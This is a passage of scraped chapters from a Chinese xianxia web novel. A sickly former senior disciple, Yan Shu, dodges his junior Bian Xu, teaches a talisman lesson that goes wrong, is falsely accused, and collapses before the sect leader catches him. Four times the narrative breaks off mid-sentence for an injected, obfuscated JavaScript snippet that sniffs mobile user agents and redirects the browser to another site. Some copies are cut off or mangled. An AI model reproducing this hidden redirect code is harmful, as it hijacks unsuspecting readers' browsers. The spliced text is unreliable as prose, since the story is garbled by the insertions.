白猫动作一僵,为自己一时睡过头缩了缩脖子,欲盖弥彰地转过头,呲牙咧嘴地重新望向边叙。 燕纾揉了揉眉心,也将目光重新转向旁边紧紧盯着他的边叙身上。 “还没请教,边峰主一大早来我这里做什么?” “我来给大师兄问晨安,顺便查看师兄伤势。”边叙立刻认真开口。 燕纾眉心跳了跳,刚准备否认,便听边叙一连串地继续开口。 “没想到一来便看到这只猫妖躲在大师兄榻间。” “我想将他丢出去,却不幸被察觉,更不小心将大师兄惊醒。” 边叙声音一板一眼,甚至一边说一边就要径直伏身行礼。 燕纾眉心跳了跳,摆了摆手,示意他打住:“行了,其一,我不是你大师兄,边峰主切莫折煞我。” “其二,这只猫妖是我——” 他本想说这是他养的灵宠,话还没出口忽然又想到什么,语气微顿。 自两年前那场大战后,妖界便与仙、人两界形成了积怨,销春尽长老殿更是一力主张,对所有妖物斩尽杀绝。 燕纾心念电转,话到嘴边,忽然拐了个弯。 “——是我养着用来炼丹的。” 原本蜷着尾巴,小心翼翼作可怜状试图博同情的白猫:?? 他瞬间撑起身,呲牙咧嘴地就想冲燕纾哈气,却被一巴掌直接按了下去。 “脾气爆烈,旧习难改,别无他法,只能用这一方式助其改邪归正。” 燕纾按着白猫那滚圆的身子,差点被一蹬腿从床上掀下去,努力稳住身形,笑着开口:“也算是另一种‘回炉重造’了。” 那白猫一扬起脖直接想蹿出去,忽然感觉按在他背脊上的手一震。 ——安静点,被樾为之养的除了一身肉连脑子都没有了,就算抓你炼丹能炼出个什么。 燕纾眯了眯眼,望着怀里晕晕乎乎的白猫,警告般又勾了下唇。 ——继续挣扎,若被边叙发现异常,我就真把你扔去给这个书呆子当镇纸 那一边,边叙似乎也愣了一下。 “脾气似乎确实……很暴躁。”他望着燕纾怀里不停挣扎的猫咪,犹豫了一下,又低声开口。 “可是大师兄从前不是最反对长老们对妖、魔一概论之……” “所以我说了,我不是你大师兄。”燕纾直接开口打断边叙的话。 他趁着边叙愣神的功夫站起身,胡乱披了一件外袍,抱着白猫径直向外走去。 边叙骤然回过神,跟着赶忙站起身。 “大师兄,你去哪?” “去炼丹啊,”燕纾平静转头,无辜的语气说着最“残忍”的话,“他都已经顽劣到昨晚从我的储蓄袋中逃出来了,我还能继续留他?” 他歪了歪头,笑眯眯地开口邀约:“边峰主是想要一观吗?” ——他清楚这个书呆子一是只对书感兴趣,二是从来有着自己的原则规矩,不喜的事绝对不会跟去…… 但下一秒,他却见边叙认真点头,“好。” 燕纾一愣。 他微微睁大眼,看着边叙两步走到他面前站定,低声开口:“若大师兄需要……我亦可帮大师兄完成。” 燕纾:……? ——他一时间不清楚边叙是不是也失忆了。 · 一路上,燕纾找了各种借口试图将边叙支开,却都被边叙一板一眼、横冲直撞地直接把他借口里的弯弯绕绕碾了过去。 ——燕纾一时间怀疑这个书呆子是不是故意跑过来气他的。 眼看着怀里那只猫团子又有造反的趋向,燕纾深吸一口气,忽然站定脚步。 “边峰主跟着我,到底想做什么?” 边叙一如既往地认真开口:“无事,我就是想跟着大师兄,若大师兄有需要帮忙的……” 他话还没说完,却听燕纾悠悠地叹了一口气。 “可是边峰主这样跟着我,让我和谢宗主都很难办啊。” 边叙蹙了蹙眉,不知想到了什么,语气微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694654|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微沉了下来:“是谢师弟为难你……” 燕纾摇了摇头,恍若无可奈何般,声音放得极轻:“边峰主应知,谢宗主是我的心上人吧。” 边叙蹙眉点头,一时间却没有想通其中关窍:“是他用这个威胁你——” 他话还没说完,下一秒,却听燕纾慢悠悠打断他的话。 “那边峰主这般与我形影不离,若让我心上人看到了,定是会吃醋的。” 边叙一噎,猛然睁大眼。 燕纾似笑非笑地抬眼,声音半真半假:“边峰主不知,我那心上人惯会吃醋,连各种小事都从不放过……” 边叙神情僵硬。 他见燕纾抱着白猫勾了勾唇,冲着他微微颔首,转身便想要离去,急中生智般,忽然开口。 “是谢师弟让我跟着你的。” 燕纾脚步一顿,神情古怪地转过头。 边叙病急乱投医,却投了个正着。 他心念电转,急急开口:“谢师弟担心你身上有伤,又知我伤了你多有愧疚,因此让我跟着你,看你有何需要。” ……这个书呆子什么时候这么聪明了。 从前只有自己碾压他的份儿,万万没想到过了两年,边叙青出于蓝而胜于蓝了。 燕纾咬了咬牙,第一次有一种搬起石头砸自己脚的感觉。 他眯了眯眼,抱着白团子踱步慢慢向回走了两步,忽然开口:“我有何需要都会帮我吗?” 边叙见燕纾似乎不赶他走了,心中舒了一口气,迅速点头:“是,我愿意帮大师兄完成任何事。” 他话还没说完,忽然感觉一阵幽香扑鼻。 燕纾脚步一闪一瞬凑近,带着无尽笑意的眼眸直直落入边叙眼底:“违背你道德,罔顾你伦理规训的你也愿?” 边叙怔了怔,似乎没想到燕纾会这么问般,话语一时间顿住了。 燕纾神情间笑意更盛。 “无法兑现,便不要轻易许诺啊,边峰主。” 他弯了弯眼, “劳烦边峰主转告谢宗主这次的承诺你也无法兑现,我还有事,就不远送——” 他话还没说完,却听边叙倏然开口:“可以。” ……这下轮到燕纾不知该说什么了。 他又不能真的让边叙去干一个伤天害理的事,咬了咬牙,目光不经意间落到不远处熟悉的屋子上,忽然想起了什么。 他眼眸微闪,忽然转过头:“边峰主说的对。” “我确实有一事不违背道德、不侵害伦常,想让边峰主帮忙。” 燕纾一边说一边上前一步,轻轻拉过边叙的手。 边叙晕晕乎乎地点头,没有注意到燕纾唇边笑意更盛。 他毫无防备地跟着向前,被燕纾拉着一步步向那屋子靠近。 直到两人在一扇门前忽然驻定。 “我突然想起,我今日还有一门课未上。” 燕纾眨了眨眼,轻快的语调间吐出冰冷的话语:“劳烦边峰主——替我代课吧。” 边叙愣了一下,意识到不对的瞬间下意识想要转身,却感觉手腕一紧。 下一秒,燕纾毫不留情地一掌拍开房门,将边叙直接送了进去。 · 等燕纾将那只白猫教训一番终于送走,已是半个时辰之后了。 他困的不行,一心只想再去睡个回笼觉,晃晃悠悠走到半路,才终于想起来自己坑边叙的这件事。 他犹豫了一下,在良心谴责和回去补觉间挣扎了一瞬,便毅然决然地选择了——抄近路回房。 但他刚迈开步,下一秒忽然感觉面前天旋地转。 燕纾下意识闭上眼,只感觉身子一轻。 一道白光闪过,燕纾踉跄一步稳住身形,一转头,正对上边叙和满学堂弟子怨念的目光。 “传送阵。”边叙站在台前敲了敲桌子,面无表情地开口。 “下面就劳烦师兄,来给各位继续讲解一下。” 燕纾:……? 11.哄骗 燕纾僵在原地,望着台下黑压压一片弟子,一时间觉得自己像被赶上架的鸭子。 ——偏偏他这只鸭子还是自作孽,不可活。 但燕纾的人生准则向来是死也要拉上个垫背的。 他深吸一口气,强装镇定地冲着台下弯了弯眼,一边向学堂门口退去,心中已想好了伎俩,准备找个由头把边叙抓回堂前,自己借机再次溜走。 但他刚往后退了一步,下一秒忽然听身后传来“砰”的一声闷响。 燕纾一惊,猝然回过头,便看到他预想中即将被坑的人正抱着双臂拦在门口,神情平静地抬眼,冲他比了一个“请”的手势。 ……燕纾顿了顿,唇边的笑意不减反增。 “边峰主真是未雨绸缪啊。” “燕公子过誉了。”边叙不知何时又将称呼换了回来。 他抱着双臂,平平开口:“我只是想,传送阵毕竟是燕公子最拿手的阵法之一,理应由燕公子来讲授。” 燕纾一时间有些不明所以:“为什么是我最拿手的——” 边叙依旧盯着他,只慢慢开口吐出几个字:“膳房,三进三出。” 燕纾还没什么反应,堂下的松竹忽然想到了什么,有些讶然地抬起头。 他依稀记得,在他师父提到的为数不多的年少往事中,似乎有这么一段模糊的故事。 · 边叙曾说过,他有一个年长他们几岁的大师兄。 大师兄虽年长几岁,偏总笑眯眯的没个正经,三两句话便总能哄着其余四个师弟跟他一起四处惹是生非。 ——然后在被抓包时,再随机选一个师弟推出去顶罪。 【那师父你们不会生气吗?】松竹疑惑开口。 边叙摇了摇头。 【我对他生不起气。】 ——别说他们了,连他们的师父一般都不忍心罚大师兄。 大师兄身子不太好,几乎可以算是药罐子里长大的。 偏能力强,脾气又好,虽是开门大弟子,却从没半分架子。 他不起坏心眼时,眉眼间便温和得出奇。 抱着双臂懒洋洋往那一靠,倦懒似地半垂着眼,软着嗓音,一边说一边去勾你的手。 他常年总是生着病,指尖总是冰凉冰凉的,像一块总也捂不热的冷玉,清泠泠的勾人。 边叙记得,他第一次就是被大师兄“虚弱”的模样给骗了过去。 【师弟,我今天身子难受,心口闷的厉害,你行行好帮我这一次。我要是进去被关了禁闭,出来不直接去了半条命。】 大师兄苍白着脸,低低咳嗽了两声,身形微晃,眼眸低垂:【若是再不慎生一场大病,过年时,谁带你们偷溜下山,去看河道灯会啊?】 几个师弟每每被他哄的晕头转向,稀里糊涂间就心甘情愿替他受了这个惩处。 事后被蜜糖罐一哄一逗,又乐颠颠地跟着他继续作妖。 边叙记得,当时自己在禁闭崖底时没有半分不忿,满脑子都是大义凛然地想,自己也能保护的了师兄。 结果出来当天,边叙迈开步子,雄赳赳气昂昂地刚准备去大师兄那里报个平安,顺便安慰一下大师兄不要为他难过。 下一秒,却听到面前传来“叮当”的几声酒壶碰撞声,边叙抬起头,便看到自家便宜师兄拿着两壶白玉小酒瓶,懒洋洋坐在树间,冲着他弯了弯眼。 【四师弟辛苦,过来喝酒,我自己酿的。】 边叙:…… 后来他才发现,自家这个大师兄满嘴几乎没半句实话。 ——尤其是当他真正难受的时候。 可惜他们当时已经被哄习惯了,每次出事都自觉站出来领罚。 ——仿佛是知道大师兄能在背后为他们撑腰一样。 细细想来,除了他们最小的那个师弟最开始曾冷着脸势誓不同流合污外,其他几人没几下就毫无迟疑地立刻屈服了。 【小师叔为什么不和你们一起?】松竹好奇开口。 【他不喜欢大师伯吗?】 边叙摇了摇头:【不会。】 他顿了顿,似想到什么,赌气般又补充了一句:【大师兄最喜欢小师弟了。】 但大师兄也有马失前蹄的时候。 【大师伯终于被抓了?】松竹讶然抬眼。 边叙点了点头,唇边似乎隐隐浮现出一抹笑意。 在某次,大师兄带着他们三人去膳房偷零嘴时,一不小心把鸡笼里一窝子母鸡全给放飞了。 那是一窝待下蛋的母鸡,受了惊后四处乱跑。 整个宗门鸡飞蛋打了一整天,而据传某个长老在不慎被从天而降的鸡蛋打中时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14704469|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏巧隔壁炼丹炉当天刚好发生了意外。 ——据说当时,有弟子确切地闻到了蛋花的香味。 第二天,他们师父黑着一张脸,难得将他们的大师兄关了禁闭。 销春尽惩处类的禁闭是在一片断崖底,崖口设了结界,结界内无风无声,无休无止,没有时间的流逝。 所有的灵力、法阵在崖底会全部失效,一般人绝对无法从内部离开。 他们三个师弟也曾商量着悄悄去给他送吃的,但师父这次似乎铁了心要惩罚大师兄,直接安排了两个门仆守在结界口。 几人偷溜了几次,都被一一擒获。 但大师兄从来不会亏待自己。 在被关禁闭的第三天,他莫名从膳房搞来了一堆吃的。 然后就开始了每日往返,一天早中晚一顿都不落下。 直到七天后禁闭结束,自家隐隐后悔的师父心疼不已地亲自来接人,便看到自家大弟子抱着不知哪里搞来的一床被子,睡的正香。 ——脸色似是比禁闭前,还要红润上几分。 边叙直到现在还记得,自家师父脸色当时直接青了。 【他是怎么做到的?】松竹好奇开口,却见边叙摇了摇头。 【我不知,大师兄从来没说过。】 边叙低声开口:【但他从前便喜改写各种阵法……怕是又用了什么稀奇古怪的点子,改了阵势,避开了结界限制。】 松竹当时年幼,从来只知对着课本一本一眼地学,从未想过还能自己改编创造。 【这个大师伯好有趣……】他下意识感慨,忍不住脱口而出,【师父何时能引我们见一见这个大师伯吗?】 他话音刚落,却看到边叙的神情忽然一静。 【我寻不到他。】边叙低声开口。 【他……消失了。】 松竹隐隐意识到自己说错了话,无声地张了张口,一时间有些无措。 旁边翘着脚正看话本的松一却忽然开口:【那大师伯这算是……师父的白月光吗?】 松竹身子一歪,差点从椅子上摔下去。 沉迷话本的松一丝毫没意识到哪里不对,扬了扬手中的书:【我看话本里写,经年不见但又思念之人便可称为白月光——唔!】 松竹终于忍无可忍地伸出手,一巴掌捂住松一的嘴。 12.污蔑 沉迷话本的松一丝毫没意识到哪里不对,扬了扬手中的书:【我看话本里写,经年不见但又思念之人便可称为白月光——唔!】 松竹终于忍无可忍地伸出手,一巴掌捂住松一的嘴。 【抱歉,师父,我们不是有意……】 【白月光?】边叙忽然冷笑了一声。 【不,死了的才是白月光。】 松竹一愣,他抬起头,边叙神色冰冷:【祸害遗千年,我不信他就这么轻易死了。】 他语气带着无尽的寒意,眼眸却深不见底,仿佛带着亘古间的无垠怒火。 松竹注意到,自家师父握着书册的手正无意识一点点攥紧。 【他要是如今再出现在我面前,我一定……】 边叙说到一半,目光忽然落到面前神情茫然的两个小徒弟身上。 他倏忽意识到什么,闭了闭眼,到底没再说下去。 那天之后,自家师父便再没提起过从前的事,松一偶尔好奇追问,也被他直接否认了。 久而久之,连松竹也疑心他那天是不是真的听到了这个故事。 · 有风从学堂外的竹林间刮过,带起一阵轻柔的沙沙声。 学堂内,松竹倏然回过神,脑海里不知怎的蓦然浮现出燕纾刚进来时,边叙莫名的那一声“师兄”。 脑海中零散的记忆逐渐串联成线,松竹不可置信地抬起头,正看到燕纾的目光压根没有落到堂下,而是半侧过身,神色古怪地望着边叙。 但只那一瞬,燕纾的表情又恢复了一贯的慵懒。 “边峰主怎么忽然提起膳房了?若是饿了,我现在可以去给你做点吃的。” 燕纾笑眯眯开口,一边说一边想绕过边叙出门,推了一下,却没推动。 两人无声地对峙了片刻,却到底是燕纾先落下阵来,后退一步,似是无奈地叹了一口气。 “好,边峰主说什么我都依,边峰主想要我教课,我教课便是。” ——他再不妥协,这个书呆子怕是能在大庭广众之下把一切都给抖出来。 边叙太清楚燕纾心里是个什么想法了,身体上示一下弱,口头上也必须把这个便宜给讨回来。 “燕公子本就是这门课的授课先生,教课理所当然,怎能说是为我。”边叙一板一眼地开口,直接就把他这一怀柔话语挡了回去。 燕纾一噎,再次意识到他这个四师弟早已今非昔比。 他暗暗瞪了边叙一眼,深吸一口气,重新转过身。 窗外似乎有鸟儿从空中掠过,发出叽叽喳喳的鸟鸣声。 燕纾盯了窗外几秒,不知想到了什么,眼眸间微微一闪。 他忽然开口:“常规的传送阵想必你们已经见多了,多没意思。” 燕纾撑着桌子,手指在台面上敲了敲,笑着开口,“大家既然都是销春尽的弟子,面对魔族都是或早或晚的事,不如我教大家一点更实用的法阵吧。” “寻常的传送阵,就是将人置于阵法中,从一处传送到另一处,只有距离的限制,没有传送东西的限制。” “大战时,便有很多魔族烧杀抢掠完后,借着早已画好的阵法逃离。” 燕纾垂下眼,声音放的愈轻。 “但若是有一个符画,将其加到传送阵法上去,便能限制魔界之人传送呢?” 学堂内一阵哗然,边叙皱了皱眉,转头望向台上笑意盈盈的人。 燕纾却没有看他,而是忽然抬手,从指尖带出一根燃烧的金线,在半空中瞬间画了一道符咒。 “很简单是不是?它的原理就是用这字符上的阵势缠绕魔气,将携带魔气之人抑制在原地。” 燕纾抬起手,笑眯眯开口:“你们互相练习一下,一刻钟后,我会随机点人,验收成果。” 学堂内有保存着特意留有微量魔气的符纸,供宗内弟子对战练习。 燕纾随意点了个弟子去取,打了个哈欠,环顾了一圈,慢悠悠绕到了松一那边。 “学的很快啊。”燕纾有些惊奇,下意识开口夸了一句。 下一秒,却见松一手指一颤,最后一笔瞬间画歪,原本萦绕在符纸上隐隐的金光瞬间暗淡了下来。 “你——”松一红着一张脸转过头,却见罪魁祸首眨了眨眼,先一步无辜开口。 “你紧张什么?” 燕纾弯下腰,似笑非笑地转过脸,随意束起的长发从脸侧垂落:“这么想在我面前好好表现?” 他本是随意的一句话玩笑话,却见面前的人倏然涨红了脸,猛地转过头。 “我没有。” 松一咬牙,耳尖红的滴血:“那是因为……你长的太可怕了,才吓我一跳。” 燕纾从小到大,从性格到品行都曾被人骂了个遍,但从来没人质疑过他的样貌。 他怔了怔,有些不明所以地摸了摸自己的脸,旁边的边叙忍无可忍,上前一步将人直接拽走。 “符纸送来了。” 他将燕纾直接拽上讲台,径直松开手,冷声开口:“一刻钟已到,开始吧。” 燕纾不清楚自己周围一个两个今天怎么都处处透着古怪。 他下意识“哦”了一声,转过身在学堂内环顾了一圈,忽然弯了弯眼。 “那第一个——就从松一开始吧。” 松一一愣,下意识开口辩驳:“不是随机吗,为什么是我——” “因为我觉得你画的很好。” 松一刹时僵在原地,脸上好不容易消下去的红晕又瞬间浮现了几分。 燕纾一句话便笑眯眯堵住了他剩下的说辞。 他望着松一,神情慵懒却认真:“所以小师侄介不介意,先来给我们展示一下?” 松一站在原地,无声地张了张口。 旁边实在看不下去自家师弟没出息样的松竹忍无可忍地伸出手想将人拉回来,下一秒,却见松一倏然迈开步子。 “好,我去。” 松竹:…… “好,那小师侄别紧张。” 松一一边强作镇定地点头,一边迈开腿——同手同脚地走了过去。 燕纾没忍住轻笑一声。 “堂中央我已画好了一个传送符,你把你刚学的符画覆盖其上,然后站在阵法中央。” 燕纾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717966|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边往门口走了两步挪出位置,一边慢悠悠开口。 “你催动法阵的同时,我会往法阵里丢一道沾着魔气的符咒,如你符画成功,则传送阵失效。” 燕纾说到这里,又想到什么,眨了眨眼。 “忘了说,这个传送阵通到哪里我也忘了,若是失败——届时我们一定会去销春尽各个犄角旮旯的石窟里去寻你。” 燕纾一边说一边再次拍了拍他的肩膀:“放轻松就好。” 松一:…… 燕纾抱着双臂靠在门边,看着松一在堂中央深吸一口气,冲着他微微点头,懒洋洋地抬起手,手指轻弹。 刹那间,那原本轻飘飘的符纸瞬间仿佛灌满了灵力般,迅速向法阵中飞去。 但脱手的那一瞬,燕纾蓦然意识到哪里不太对劲。 心中不好的预感蓦然升起,燕纾来不及多想,足尖一点,抬手捏诀的瞬间,迅速开口:“边峰主!” 边叙倏然回神。 他还没明白发生了什么,但本能的反应让他跟着一瞬掠到了燕纾身旁。 下一秒,法阵中的符纸应声炸开,难以预计的澎湃魔气瞬间倾泻而出。 同一刻,远处长生殿内的谢镜泊倏然睁开眼,身形一动,迅速掠出窗外。 · 学堂内,法阵中央的松一倏然睁大眼。 他潜意识里知道自己要躲开,但庞大的魔气如有实形般将他整个牢牢地困住。 松一呆愣在原地,浑身控制不住战栗起来。 下一刻,一道结界瞬息笼罩在侧,紧接着边叙径直挡到他身前,袍袖一展,手掌顺势前推:“破!” 结界外,刚急速结阵的燕纾松了一口气,身子控制不住晃了一下,又迅速站稳。 他还没来得及松一口气,霎时,瞳孔又忽然紧缩。 一缕溢出的魔气正胡乱翻涌,朝着旁边一个似乎已吓傻了的弟子径直冲去。 现在叫边叙已来不及,燕纾咬了咬牙,身形一闪,骤然挡到了那弟子面前。 他指尖注灵,抬手连点成线,虚空中瞬息间浮现出一张巨大的阵网,挡在两人身前。 喧嚣的魔气碰撞在金色的法线上发出剧烈的嗡鸣声,一道白光猛然闪过,紧接着,阵法碎裂的空洞声掩盖了一声压抑的闷哼。 燕纾身子又晃了一下,撑着旁边的桌子勉强站稳。 他心口憋闷的仿佛压了一块大石,眼前一阵黑一阵白,心中却又惦记着事,扶着桌子勉强转过头:“你……” 他本是想问身后弟子有没有事,却听到身后一道惊慌失措的声音忽然传来。 “不是,不是我!” 被挡在燕纾身后的那个弟子慌张开口,竟然伸手直接推了燕纾一把。 “是他,是他故意往符咒上加大魔气的!” 燕纾本就是强弩之末,好不容易聚起来一口气被这一推,骤然堵在胸口。 那一瞬间,燕纾苦笑一声,心中只有一个念头。 ——完了。 他感觉心口猛然一窒,喉头腥甜,控制不住弯下腰,好不容易咽下去的鲜血反呛上来,骤然咳了满身。 13.难受 燕纾眼前一阵明一阵灭,只觉得浑身冷的发木。 身体里仿佛有两股力量拉扯着经络撕扯开来,一瞬间冰火两重天。 他清楚这是刚才贸然动用灵力,经脉里的药效和封印同时被惊动,开始翻天覆地地折腾起来。 刚才身后那个弟子的那句话如一块冷硬的石头般,直直堵在他胸口,叫他喘不过气。 心口憋闷之感愈重,燕纾苦笑一声,揪着前襟的衣服,不由得弯下腰,张口微微喘息。 他气息清浅急促,唇色却渐渐发白,甚至透出一股青来。 他感觉到似乎有人冲到了自己身前,焦急地询问着什么;有人从自己旁边冲了过去,伸手揪住自己身后那人的领子,一声声地质问。 但燕纾此时难过的什么也不想管。 他只想将自己蜷缩起来,却又强撑着一口气,不想在众人面前露了怯。 燕纾脑海中一片混沌,恍惚间以为自己扶着旁边的桌子站稳了,刚想松一口气,忽然听到嗡鸣的耳畔模模糊糊间传来一阵喊声。 ——好吵。 周围仿佛隔了一层水雾般听不真切,燕纾皱了皱眉,别过头想要躲开那些莫名的呼喊,却感觉那声音越来越大。 ——师兄,你怎么样? ——醒醒,师兄…… “师兄!” 一声惊慌失措的呼喊在他耳边炸开。 周围包裹的水压一瞬骤然消失,燕纾骤然吸了一口气,如脱水的鱼儿般猛得扬起脖颈,大口喘息起来。 他腿下发软,控制不住地想往地上坐,踉跄了一步,才后知后觉地意识到,他正被边叙半扶半抱地拢在怀里。 他听着边叙慌张开口:“师兄,你怎样……” 燕纾此时也没力气纠正他的称呼了,青白的指尖努力攀住他的胳膊,喉头滚动,艰难将涌上来的血沫吞咽下去,才终于攒出力气来拍拍他的胳膊。 “别叫……叫魂儿呢。” 燕纾抬起头,勾着他的指尖晃了晃,有气无力地笑了一声。 “我没事,你放我下来……让我坐一会儿……” 他嘴上这么说,整个眼眸却仿佛已经涣散了般,脖颈控制不住往后一仰,身子打了个晃,脱力般直直地就要往下跪。 边叙在他腰那里迅速托了一把,先一步跟着蹲下身,让人偏头倚在他肩头,才没让燕纾直接跪坐在地上。 燕纾蹙了蹙眉,低低地闷哼了一声,似乎被这一坠带的恢复了一点意识。 “没事……就是刚才移动的快了,身子受不住有些头晕,没什么大碍。” 他喘了一口气,又撑不住似得垂下眼,有气无力地勾了下唇:“别怕,你让我缓缓就好……” 他说的是真话,但话还没说完,便听身后的人咬牙开口:“闭嘴。” 燕纾迟缓地眨了下眼,似有些惊奇边叙难得的这般疾言厉色,却到底也没精力再折腾了,只恹恹地“哦”了一声,重新阖上了眼。 于是边叙便看着,嘴上说着没事的人,合上眼的一刹那却一瞬失去了意识。 他近乎脱力地靠在边叙肩头,脸色肉眼可见地一片灰败。 边叙唤了燕纾两声,人依旧迷迷糊糊的没有反应。 ——他更加笃信鬼才能信燕纾刚才的那套说辞。 边叙咬了咬牙,单手按着燕纾的脉搏输着灵力,同时冲着不远处的松一疾声开口:“还不过来?” 死死拽着那弟子领子的松一骤然回过神。 他神情有一瞬间的慌乱,下意识想松手,却又忍不住想继续质问他刚才为什么要那么说。 下一秒,松一手腕忽然一紧,不知何时过来的松竹冲着他摇了摇头,低声开口:“这里我来,你先去看看燕公子情况。” 松一咬了咬牙,骤然松开那弟子的衣领,转过身,匆匆走到边叙身旁。 边叙径直飞速开口:“他脉象很乱,我诊不出,你专攻医术,之前又替他把过脉,你来看。” 松一也不敢再犹豫,低低应了一声,迅速伸手按在燕纾青白色的手腕间。 燕纾的脉象还是一如既往的沉杂无序。 松一之前几次想要寻出个症结,却又觉得他这个身子仿佛就像个四处漏风的茅草房,哪里都是漏洞。 他探了一会儿,刚想再摇头,忽然却又察觉到什么,轻轻“咦”了一声。 “他刚才……有吃过什么药吗?” 边叙蹙了蹙眉:“没有,怎么?” 方才脉象里那一刹那的异样稍纵即逝,松一此时又有些不确定了:“我刚才仿佛探到他经脉里……” 他话没说完,面前的人却忽然轻轻哼了一声,似乎有清醒的迹象。 松一下意识停止话语,边叙将人扶靠着坐起来些许,低声开口:“师兄,你怎么样……” 他话还没说完,忽然感觉怀里的人颤了一下,紧接着蓦然剧烈挣扎起来。 “放开我……” 边叙一时间没有反应过来,手中一轻,那苍白的腕骨蓦然重重砸落在地,发出令人心颤的一声闷响。 燕纾感觉浑身的经脉仿佛要碎了。 好不容易缓和下来的毒素在边叙灵力的催动下重新躁动起来,心脏仿佛压了一块大石,不堪重负般一阵急一阵缓地跳着,让他烦闷欲呕。 燕纾清楚边叙这是没有信他的话,想用灵力帮他疗伤,心中只能暗暗苦笑。 他原先本想不着痕迹地拂开边叙的手,但越来越强烈的痛苦让他神志逐渐昏沉起来。 他烦躁间不记得刚才发生了什么,只如溺水的人般下意识挣扎着,拼尽全力想要躲开这痛苦的根源。 但他越挣扎,周身的禁锢却越紧。 燕纾疼的狠了,忽然一偏头,张口便想去咬自己的手腕。 边叙没想到他会这样,反应慢了一拍。 “燕纾——” 他瞳孔骤然紧缩,眼看着已来不及,下一秒,忽然看到一只绣着玄色暗纹的衣袖伸了过来,径直挡在燕纾手腕前。 边叙愣了一下,紧接着便感觉手中一空。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730649|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他倏然抬起头,正看到谢镜泊站在原地,正伸手将燕纾揽到怀里。 “……宗主?” 谢镜泊却没有看他,只皱眉望着怀里的人。 燕纾眼眸紧闭,单手痉挛地攀着他肩头的衣服,身子发颤,正张口狠狠咬在他手腕处。 那一口应是极深,边叙能看到有暗色的痕迹从玄色衣袖间逐渐侵染出来,谢镜泊却只眉心微蹙,似乎感觉不到痛般,并没有什么反应。 不远处的松竹押着那名弟子走到身前,见状立刻伸手想将燕纾拉开,却见谢镜泊忽然抬起了手。 那是一个制止的动作,松竹怔了一下,迟疑了片刻,还是忍不住低声开口:“宗主,那是您执剑的手,万一伤了……” “等一下。” 谢镜泊却再次开口,打断了他的话。 他另一只手按着燕纾的脉搏,半晌,似乎终于确定了什么,忽然抬手轻轻拍了拍怀里的人。 “燕纾?” 他那声压得极低,手指划过面前人泼墨般的长发,似乎在颈间轻轻揉了一下。 ——仿佛在怜惜地触摸什么珍贵的事物。 边叙微微一怔。 那一瞬间,他仿佛重新看到了旧日的光景。 他和三师兄练完功回到小院内,不出意外地看到自家大师兄赖在冷着脸的小师弟旁边,举起一根狗尾巴草编成的兔子,笑眯眯地不知在和他说什么。 他们身后站着抱着双臂乐呵呵看戏的二师兄,看到他们进来,似笑非笑地举起手,比了一个“嘘”的手势。 院外的晚霞倾倒了两人半身的旖旎,燕纾枕在他腿上,谢镜泊单手攥着一本书,似有些无奈地垂下眼,却到底没有将人推开,反而时不时点一下头。 旁边一声轻哼让边叙倏然回过神,他再抬起眼,却看到谢镜泊收回手,将怀里逐渐清醒的人松开。 ——恍若刚才的一切都不曾发生。 将醒未醒的人踉跄一步,摇摇晃晃地又要往旁边倒。 边叙实在忍不住,上前一步将人扶稳。 他刚想开口,却听到谢镜泊微冷的声音传来:“你平常难受时,就是这么咬你自己的?” 边叙微微一愣,下意识转过头。 燕纾却并没有听清。 他神志还不是很清明,迷蒙间似乎隐约听到谁说了一句话。 他一时不确定这是不是自己的幻觉,恍恍惚惚抬眼,先一步看到对面的谢镜泊。 谢镜泊背手站在一步开外,没有动也没有说话,只神情微冷地望着他,恍若在看一个陌生人。 燕纾蓦然清醒了几分。 他垂下眼,唇角没忍住流露出些许涩意,暗道果然是自己多想。 他闭了闭眼,再次抬起头,冲着旁边的边叙笑了笑。 “多谢……边峰主方才唤醒我。” 边叙蹙了蹙眉,开口刚想问什么,下一秒却听到谢镜泊先一步冷声开口。 “刚才那魔气是你造成的吗?” 燕纾神情微微一顿。 14.禁闭 燕纾眨了眨眼,混沌的意识终于逐渐回笼。 他似笑非笑地盯了谢镜泊几秒,没有说话,而是先一步将目光转向一旁。 